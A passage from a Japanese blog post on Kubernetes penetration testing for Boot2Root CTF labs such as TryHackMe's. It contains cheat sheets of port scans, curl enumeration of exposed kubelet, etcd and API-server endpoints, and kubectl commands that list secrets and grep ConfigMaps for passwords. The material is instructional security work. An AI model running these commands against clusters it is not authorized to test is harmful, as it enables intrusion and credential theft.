また、Kubernetes for Everyoneでは、k0sというツールも登場しました。このツールは、k0sは、ベアメタル、オンプレミス、エッジ、IoT、パブリッククラウド、プライベートクラウドなど、あらゆるインフラストラクチャで動作する、シンプルで堅牢な認証済みKubernetesディストリビューションです。つまり、k8sをラボで使用するとスケーリングの関係でかなり可用性に関してのコストが重いため、k0sが使用されていると思っています。
また、少し話は変わりますが、k8sやk0s以外にもk3sというものがあります。これはk8sよりも比較的軽く動くそうなので、興味があれば調べてみると良さそうです。
Kubernetesにおけるペネトレーションテスト手法とBoot2Rootでの解き方
ここから先は、Reconから権限昇格まで攻撃するBoot2Rootの解き方やKubernetesのおけるペネトレーションテストで実施しやすいような一連の流れをHacktricksなどの資料を参考にご紹介します。
大きく四つに分類できます。
Reconnaissance
まず、ポートスキャンします
以下のようなサービスが複数検出された際はKubernetesが裏で動いていることを確認することができます。
| Port | Process | Description |
|---|---|---|
| 443/TCP | kube-apiserver | Kubernetes API port |
| 2379/TCP | etcd | etcd |
| 6666/TCP | etcd | etcd |
| 4194/TCP | cAdvisor | Container metrics |
| 6443/TCP | kube-apiserver | Kubernetes API port |
| 8443/TCP | kube-apiserver | Minikube API port |
| 8080/TCP | kube-apiserver | Insecure API port |
| 10250/TCP | kubelet | HTTPS API which allows full mode access |
| 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state |
| 10256/TCP | kube-proxy | Kube Proxy health check server |
| 9099/TCP | calico-felix | Health check server for Calico |
| 6782-6784/TCP | weave | Metrics and endpoints |
| 30000-32767/TCP | NodePort | Proxy to the services |
| 44134/TCP | Tiller | Helm service listening |
そこで、もしKube-apiserverやKubelet API、Etcd APIなどが検出された場合、実際にKubernetesに存在する/podsや/metrics、/api、/versionなどのエンドポイントが返却されるかを確認します。
これにより、内部の非公開情報を盗めそうか確かめます。
チートシート
- Nmap Port Scan
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <target_ipaddress>
- Rustscan Port Scan
rustscan -a <target_ipaddress> -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,44134 -r 6782-6784,30000-32767 -u 2000 -- -n -T4
- Kube-apiserverのエンドポイント列挙
# API server endpoints
curl -k https://<IP Address>:443/swaggerapi
curl -k https://<IP Address>:443/healthz
curl -k https://<IP Address>:443/api/v1
# Anothor pattern
curl https://target.com:6443 --insecure
curl https://target.com:6443/version --insecure
curl https://target.com:6443/api --insecure
- Kubelet APIのエンドポイント列挙
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
- Kubelet(読み取り専用)
curl -k https://<IP Address>:10255
curl -k http://<external-IP>:10255/pods
- etcd API
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
- cAdvisor
curl -k https://<IP Address>:4194
- NodePort
sudo nmap -sS -p 30000-32767 <IP>
Initial Access
しかし、Initial Accessにおいて、kubernetesのみで初期アクセスにはつながりません。何故なら、ゼロデイ脆弱性がない限り、基本的には、kubectlというKubernetesクラスターを制御するコマンドラインツールがないと操作しようがないからです。そのため、この段階に関しては、2つのアプローチがあります。
- Kubernetesクラスターを操作可能なコンピュータ内部に何かしらの方法でアクセスする
- 脆弱なWebサービスに存在するOSコマンドインジェクションやSSRFなどの脆弱性を利用し、
kubectlを使用できるガジェットを組む
まず、1に関しては、Boot2rootする中で、既知のバージョンから脆弱なライブラリを利用したPoCを探し出し、内部サーバーへ侵入し、内部サーバーのシェルでkubectlが使えるように権限昇格してあげることです。
また、2に関しては、実際にKubernetesが動いている環境を前提に、その環境にあるWebサービスへアクセスし、OSコマンドインジェクションやSSRF(Server-Side Request Forgery)、SSTI(Server-Side Template Injection)などの内部サーバーを操作可能な脆弱性を発見し、そこでkubectlが使用可能かを確かめることです。
これらは、現実的にあり得そうな攻撃シナリオとして挙げられると考えられます。
Exploitation
これは、Intial Accessが成功していることを前提としたExploitationになります。ただ、実際は権限昇格やオーバーバッファフローなどの低レイヤーで引き起こす脆弱性ではなく、情報収集、操作、削除などが挙げられます。以下を例にkubectlで何ができるのかをご紹介します。
チートシート
- Kubernetesの基本情報の収集
# Check cluster access
kubectl cluster-info
# Get cluster version
kubectl version
# List all contexts
kubectl config get-contexts
# Switch context
kubectl config use-context context-name
- クラスターへのリモートアクセス
# Access specific cluster
kubectl --server=https://target.com:6443 --insecure-skip-tls-verify get pods
# With authentication token
kubectl --server=https://target.com:6443 --token=TOKEN get pods
- Namespace Enumeration
# List namespaces
kubectl get namespaces
kubectl get ns
- Pod Enumeration
Podsの列挙
# List pods in all namespaces
kubectl get pods --all-namespaces
# List pods in specific namespace
kubectl get pods -n kube-system
特定のPod解析
# Detailed pod information
kubectl describe pod pod-name -n namespace
# Get pod YAML
kubectl get pod pod-name -n namespace -o yamla
# Get pod JSON
kubectl get pod pod-name -n namespace -o json
- Secret Enumeration
Secretsの列挙
# List secrets in all namespaces
kubectl get secrets --all-namespaces
# Get secret details
kubectl describe secret secret-name -n namespace
特定のSecret値の抽出
# Extract secret value (base64 encoded)
echo '[base64でエンコードされたシークレット文字列]' | base64 -d
- ConfigMap Enumeration
ConfigMapsの列挙
# List ConfigMaps
kubectl get configmaps --all-namespaces
# Get ConfigMap content
kubectl get configmap config-name -n namespace -o yaml
特定のConfigMapのクレデンシャル検索
# Search for sensitive data
kubectl get configmaps --all-namespaces -o yaml | grep -i "password\|secret\|key"
- Service Account Enumeration
サービスアカウントの列挙
# List service accounts
kubectl get serviceaccounts --all-namespaces
# Get service account details
kubectl describe sa service-account-name -n namespace
# Check service account token
kubectl get sa service-account-name -n namespace -o yaml
特定のサービスアカウントの権限チェック
# List role bindings (permissions)
kubectl get rolebindings --all-namespaces
kubectl get clusterrolebindings
- Node Enumeration
Nodesの列挙
# List nodes
kubectl get nodes
# Node details
kubectl describe node node-name
# Node OS and kernel
kubectl get nodes -o wide
特定のNodeに対するセキュリティチェック
# Check for privileged nodes
kubectl get nodes -o yaml | grep -i "privileged\|security"
Privilege Escalation
kubectlで何かしら、名前空間なり、サービスアカウント、シークレット発見により、権限昇格や横展開につながる可能性があります。Boot2RootではKubernetesの悪用方法は固有の脆弱性になってくるため、特にKubernetesのペネトレーションテストで特別に変わるとかはないです。
もし、Kubernetesの悪用方法について学ぶなら、以下の資料を参考にすることを推奨します。大変、勉強になると思います。
このことを踏まえて、TryHackMeのKubernetesラボを解いたり、再度writeupを読み直すと理解を深めやすいと思います。